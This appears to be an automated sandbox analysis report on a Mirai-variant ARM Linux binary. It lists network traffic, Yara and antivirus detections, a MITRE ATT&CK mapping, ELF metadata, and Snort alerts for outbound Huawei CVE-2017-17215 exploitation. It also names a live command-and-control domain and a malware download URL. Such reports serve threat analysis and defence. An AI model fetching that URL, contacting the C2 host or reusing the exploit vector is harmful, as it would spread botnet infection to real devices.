Source: unknown	Network traffic detected: HTTP traffic on port 53964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37240 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 36882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53314 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 53964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59064 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 36882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37362 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 53314 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 50732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 33464
Source: unknown	Network traffic detected: HTTP traffic on port 53314 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 36882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45850 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 47958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46694 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 39928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53314 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 36882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57778 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 57778 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 37240 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 35974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36756 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 39928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57778 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 44224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53314 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 38456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49382 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 59962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37362 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 36882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55566 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 60868 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 56354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55566 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 60868 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 35974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55566 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 38052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45850 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 60868 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 38016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55566 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 58024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44008 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 51482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60868 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 38016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53314 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 55566 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 39534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46694 -> 5500
Source: unknown	Network traffic detected: HTTP traffic on port 53964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44758 -> 37215

Source: /tmp/notabotnet.arm (PID: 6236)

Queries kernel information via 'uname':

Source: notabotnet.arm, 6236.1.000055f071f9d000.000055f0720cb000.rw-.sdmp, notabotnet.arm, 6238.1.000055f071f9d000.000055f0720cb000.rw-.sdmp, notabotnet.arm, 6241.1.000055f071f9d000.000055f0720cb000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: notabotnet.arm, 6236.1.000055f071f9d000.000055f0720cb000.rw-.sdmp, notabotnet.arm, 6238.1.000055f071f9d000.000055f0720cb000.rw-.sdmp, notabotnet.arm, 6241.1.000055f071f9d000.000055f0720cb000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: notabotnet.arm, 6236.1.00007ffcdb2ec000.00007ffcdb30d000.rw-.sdmp, notabotnet.arm, 6238.1.00007ffcdb2ec000.00007ffcdb30d000.rw-.sdmp, notabotnet.arm, 6241.1.00007ffcdb2ec000.00007ffcdb30d000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: notabotnet.arm, 6236.1.00007ffcdb2ec000.00007ffcdb30d000.rw-.sdmp, notabotnet.arm, 6238.1.00007ffcdb2ec000.00007ffcdb30d000.rw-.sdmp, notabotnet.arm, 6241.1.00007ffcdb2ec000.00007ffcdb30d000.rw-.sdmp	Binary or memory string: <Jx86_64/usr/bin/qemu-arm/tmp/notabotnet.armSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/notabotnet.arm

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: notabotnet.arm, type: SAMPLE
Source: Yara match	File source: 6241.1.00007f5fa8017000.00007f5fa802b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6236.1.00007f5fa8017000.00007f5fa802b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6238.1.00007f5fa8017000.00007f5fa802b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: notabotnet.arm PID: 6236, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: notabotnet.arm PID: 6238, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: notabotnet.arm PID: 6241, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: notabotnet.arm, type: SAMPLE
Source: Yara match	File source: 6241.1.00007f5fa8017000.00007f5fa802b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6236.1.00007f5fa8017000.00007f5fa802b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6238.1.00007f5fa8017000.00007f5fa802b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: notabotnet.arm PID: 6236, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: notabotnet.arm PID: 6238, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: notabotnet.arm PID: 6241, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	5 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	3 Ingress Tool Transfer	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
notabotnet.arm	55%	Virustotal		Browse
notabotnet.arm	40%	Metadefender		Browse
notabotnet.arm	65%	ReversingLabs	Linux.Trojan.Mirai
notabotnet.arm	100%	Avira	LINUX/Mirai.owpty

Dropped Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
cnc.fearfulcats.tk	10%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7	9%	Virustotal		Browse
http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cnc.fearfulcats.tk	185.225.73.158	true	true	10%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://cnc.fearfulcats.tk/notabotnet/notabotnet.arm7	notabotnet.arm	true	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	notabotnet.arm	false		high
http://schemas.xmlsoap.org/soap/envelope/	notabotnet.arm	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
197.238.77.152	unknown	unknown	37705	TOPNETTN	false
78.234.76.85	unknown	France	12322	PROXADFR	false
121.252.20.84	unknown	Korea Republic of	24361	CNGI-NJ-IX-AS-APCERNET2IXatSoutheastUniversityCN	false
41.102.161.60	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.80.44.44	unknown	United States	393649	BOOZ-AS2US	false
197.140.232.156	unknown	Algeria	36891	ICOSNET-ASDZ	false
197.141.53.68	unknown	Algeria	36891	ICOSNET-ASDZ	false
109.197.226.231	unknown	Russian Federation	48642	KTEL-ASEkaterinburgRussiaRU	false
185.160.193.223	unknown	Lebanon	34458	SMARTNETSLB	false
212.83.26.52	unknown	Russian Federation	9039	IIAT-ASIIATAutonomousSystemRU	false
74.243.22.51	unknown	United States	19108	SUDDENLINK-COMMUNICATIONSUS	false
45.6.244.2	unknown	unknown	266249	CENTRALNETBR	false
185.50.154.144	unknown	United Kingdom	50203	UK-REYNOLDS-ASNGB	false
216.224.227.63	unknown	United States	39948	INIT-PHXUS	false
41.140.123.155	unknown	Morocco	36903	MT-MPLSMA	false
223.215.188.144	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
156.220.29.250	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.50.27.196	unknown	Australia	29975	VODACOM-ZA	false
46.190.7.214	unknown	Greece	25472	WIND-ASGR	false
2.21.229.63	unknown	European Union	20940	AKAMAI-ASN1EU	false
2.116.60.116	unknown	Italy	3269	ASN-IBSNAZIT	false
197.177.87.173	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
212.189.107.90	unknown	Netherlands	286	KPNNL	false
69.174.188.30	unknown	United States	54373	MESSAGEEXPRESSINTERNETUS	false
197.126.118.187	unknown	Egypt	36992	ETISALAT-MISREG	false
41.182.10.66	unknown	Namibia	36996	TELECOM-NAMIBIANA	false
24.172.203.219	unknown	United States	10796	TWC-10796-MIDWESTUS	false
197.143.201.76	unknown	Algeria	36891	ICOSNET-ASDZ	false
46.247.22.221	unknown	United Kingdom	39545	FLUIDATAGB	false
46.19.158.244	unknown	Germany	49603	NERDHERRSCHAFT-ASDE	false
2.83.183.179	unknown	Portugal	3243	MEO-RESIDENCIALPT	false
197.109.134.76	unknown	South Africa	37168	CELL-CZA	false
112.229.16.38	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
81.140.127.234	unknown	United Kingdom	6871	PLUSNETUKInternetServiceProviderGB	false
158.81.167.165	unknown	United States	55102	NRG-NS-2US	false
156.246.150.175	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
104.188.187.209	unknown	United States	7018	ATT-INTERNET4US	false
197.117.202.165	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.240.121.94	unknown	Sudan	36998	SDN-MOBITELSD	false
20.230.47.159	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.65.120.87	unknown	Bosnia and Herzegowina	201719	TK-ASBA	false
218.48.113.15	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
182.11.165.222	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
212.95.22.32	unknown	Austria	8412	TMARennweg97-99AT	false
121.226.140.144	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
41.196.116.138	unknown	Egypt	24863	LINKdotNET-ASEG	false
88.98.151.123	unknown	United Kingdom	13037	ZEN-ASZenInternet-UKGB	false
181.242.140.206	unknown	Colombia	26611	COMCELSACO	false
43.29.198.215	unknown	Japan	4249	LILLY-ASUS	false
197.26.67.211	unknown	Tunisia	37671	GLOBALNET-ASTN	false
112.19.56.163	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
57.231.100.162	unknown	Belgium	2686	ATGS-MMD-ASUS	false
156.73.167.248	unknown	United States	2024	NUUS	false
112.126.151.130	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
204.119.210.106	unknown	United States	11404	AS-WAVE-1US	false
216.119.121.129	unknown	United States	14992	CRYSTALTECHUS	false
156.158.25.69	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
46.236.180.255	unknown	Russian Federation	34145	TOMTELRU	false
61.100.236.111	unknown	Korea Republic of	17609	SILLAUNIVERSITY-AS-KRSillaUnivKR	false
2.113.108.55	unknown	Italy	3269	ASN-IBSNAZIT	false
81.110.133.149	unknown	United Kingdom	5089	NTLGB	false
46.24.232.120	unknown	Spain	12430	VODAFONE_ESES	false
156.21.96.226	unknown	United States	29975	VODACOM-ZA	false
156.215.141.99	unknown	Egypt	8452	TE-ASTE-ASEG	false
101.234.204.165	unknown	Australia	45577	INTERVOLVE-MELBOURNE-AS-APIntervolvePtyLtdAU	false
101.14.115.244	unknown	Taiwan; Republic of China (ROC)	24158	TAIWANMOBILE-ASTaiwanMobileCoLtdTW	false
156.42.209.87	unknown	United States	4211	ASN-MARICOPA1US	false
81.6.84.78	unknown	Turkey	15897	VODAFONETURKEYTR	false
156.239.196.240	unknown	Seychelles	133201	COMING-ASABCDEGROUPCOMPANYLIMITEDHK	false
41.169.198.130	unknown	South Africa	36937	Neotel-ASZA	false
41.21.252.51	unknown	South Africa	36994	Vodacom-VBZA	false
41.143.104.52	unknown	Morocco	36903	MT-MPLSMA	false
156.43.93.64	unknown	United Kingdom	3549	LVLT-3549US	false
41.182.10.18	unknown	Namibia	36996	TELECOM-NAMIBIANA	false
41.134.159.161	unknown	South Africa	10474	OPTINETZA	false
41.97.63.188	unknown	Algeria	36947	ALGTEL-ASDZ	false
2.107.146.150	unknown	Denmark	3292	TDCTDCASDK	false
46.46.21.139	unknown	Russian Federation	15638	UTLUssuriyskRU	false
61.201.44.46	unknown	Japan	4725	ODNSoftBankMobileCorpJP	false
61.195.128.45	unknown	Japan	10002	ICTIGAUENOCABLETELEVISIONCOLTDJP	false
197.193.232.100	unknown	Egypt	36992	ETISALAT-MISREG	false
2.225.217.215	unknown	Italy	12874	FASTWEBIT	false
197.12.31.243	unknown	Tunisia	37703	ATLAXTN	false
118.203.72.187	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
61.122.128.129	unknown	Japan	17504	NETCOMNRINetcomLtdJP	false
156.71.93.236	unknown	United States	297	AS297US	false
212.80.66.204	unknown	Czech Republic	29208	DIALTELECOM-ASDialTelecomasSK	false
61.9.73.100	unknown	Philippines	23944	SKYBB-AS-APSKYBroadbandSKYCableCorporationPH	false
61.88.137.72	unknown	Australia	7474	OPTUSCOM-AS01-AUSingTelOptusPtyLtdAU	false
66.42.199.17	unknown	United States	6181	FUSE-NETUS	false
152.234.60.251	unknown	Brazil	7738	TelemarNorteLesteSABR	false
207.244.186.203	unknown	United States	11776	ATLANTICBB-JOHNSTOWNUS	false
197.169.124.227	unknown	South Africa	37168	CELL-CZA	false
197.100.219.11	unknown	South Africa	3741	ISZA	false
46.245.236.154	unknown	France	8426	CLARANET-ASClaraNETLTDGB	false
5.3.209.124	unknown	Russian Federation	42682	ERTH-NNOV-ASRU	false
46.105.63.204	unknown	France	16276	OVHFR	false
197.137.214.198	unknown	Kenya	36914	KENET-ASKE	false
41.3.151.135	unknown	South Africa	29975	VODACOM-ZA	false
1.54.72.181	unknown	Viet Nam	18403	FPT-AS-APTheCorporationforFinancingPromotingTechnolo	false

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.13515344056359
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	notabotnet.arm
File size:	80156
MD5:	d8edb88e8280e241f06c014b85d0362f
SHA1:	d9262e6ab9d9a92342fff5fe38758f59b37a1561
SHA256:	4d365f4c4e3f94622f7e7fd786ba773de51f4bd41ecf9ff2295f3628ab5c440c
SHA512:	512545099f0789aca1d0775f918dc2b8627c4fef4814cbb279de45d6defdc76a5f7fabd1643417423130d9534a186b1458abe2abb697ce337ef22a0f433e4155
SSDEEP:	1536:6Muq7Gf9ER0B0dFdA4ThnpOwLjoUoB8t46vqH3CJV9IP:huqGff4x8wfXo84gqXCJV
TLSH:	F0731986BC80E626CBC01677FA2F508D37156BD8E1DA33029D155FA07BCE81F1D6BA85
File Content Preview:	.ELF...a..........(.........4....7......4. ...(......................5...5.............. 5.. 5.. 5..,...............Q.td..................................-...L."....F..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	79756
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x11b10	0x0	0x6	AX	16
.fini	PROGBITS	0x19bc0	0x11bc0	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x19bd4	0x11bd4	0x1948	0x0	0x2	A	4
.ctors	PROGBITS	0x23520	0x13520	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x23528	0x13528	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x23534	0x13534	0x218	0x0	0x3	WA	4
.bss	NOBITS	0x2374c	0x1374c	0x4f0	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x1374c	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x1351c	0x1351c	6.1558	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x13520	0x23520	0x23520	0x22c	0x71c	2.9664	0x6	RW	0x8000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.23156.235.104.4736334372152835222 08/06/22-07:19:52.220960	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36334	37215	192.168.2.23	156.235.104.47
192.168.2.23156.235.104.8557800372152835222 08/06/22-07:19:39.853691	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57800	37215	192.168.2.23	156.235.104.85
192.168.2.23156.241.65.12841678372152835222 08/06/22-07:21:20.512607	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41678	37215	192.168.2.23	156.241.65.128
192.168.2.23156.241.116.4442230372152835222 08/06/22-07:20:00.956884	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42230	37215	192.168.2.23	156.241.116.44
192.168.2.23156.250.69.14655152372152835222 08/06/22-07:19:39.989567	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55152	37215	192.168.2.23	156.250.69.146
192.168.2.23156.245.33.13954504372152835222 08/06/22-07:19:52.314965	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54504	37215	192.168.2.23	156.245.33.139
192.168.2.23156.250.28.17152738372152835222 08/06/22-07:20:29.967484	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52738	37215	192.168.2.23	156.250.28.171
192.168.2.23156.224.31.17037664372152835222 08/06/22-07:20:49.079922	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37664	37215	192.168.2.23	156.224.31.170
192.168.2.23156.250.102.10536504372152835222 08/06/22-07:20:29.956914	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36504	37215	192.168.2.23	156.250.102.105
192.168.2.23156.230.19.3534282372152835222 08/06/22-07:20:27.532804	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34282	37215	192.168.2.23	156.230.19.35
192.168.2.23156.250.70.12841324372152835222 08/06/22-07:21:02.363370	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41324	37215	192.168.2.23	156.250.70.128
192.168.2.23156.245.55.1057952372152835222 08/06/22-07:19:21.831672	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57952	37215	192.168.2.23	156.245.55.10
192.168.2.23156.254.109.8743916372152835222 08/06/22-07:20:06.945366	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43916	37215	192.168.2.23	156.254.109.87
